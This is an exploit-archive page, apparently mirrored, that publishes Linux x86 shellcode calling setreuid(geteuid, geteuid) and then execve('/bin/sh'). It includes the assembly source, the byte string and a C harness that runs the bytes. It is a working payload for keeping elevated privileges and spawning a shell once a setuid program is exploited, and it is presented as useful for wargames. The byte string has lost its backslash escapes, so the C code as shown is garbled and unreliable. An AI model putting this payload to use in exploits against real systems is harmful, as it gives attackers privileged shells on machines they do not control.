[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/86 setreuid(geteuid, geteuid) + execve(/bin/sh) shellcode
# Published : 2008-08-19
# Author : Reth
# Previous Title : linux/mips (Linksys WRT54G/GL) port bind shellcode 276 bytes
# Next Title : linux/mips (Linksys WRT54G/GL) execve shellcode 60 bytes


/*

setreuid(geteuid, geteuid) + execve(/bin/sh) shellcode - useful for wargames and the like.

global _start

section .text
_start:
        ; geteuid
        push byte 49
        pop eax
        int 0x80

        ; setreuid
        mov ebx, eax
        mov ecx, eax
        push byte 70
        pop eax
        int 0x80

        ; execve
        xor eax,eax
        push eax
        push 0x68732f2f
        push 0x6e69622f
        push esp
        pop ebx
        push eax
        push ebx
        mov ecx, esp
        xor edx, edx
        mov byte al,11
        int 0x80
*/

main() {
        char shellcode[] = "x6ax31x58xcdx80x89xc3x89xc1x6ax46x58xcdx80x31xc0x50"
			   "x68x2fx2fx73x68x68x2fx62x69x6ex54x5bx50x53x89xe1x31"
                           "xd2xb0x0bxcdx80";

        (*(void (*)()) shellcode)();
}

// www.Syue.com [2008-08-19]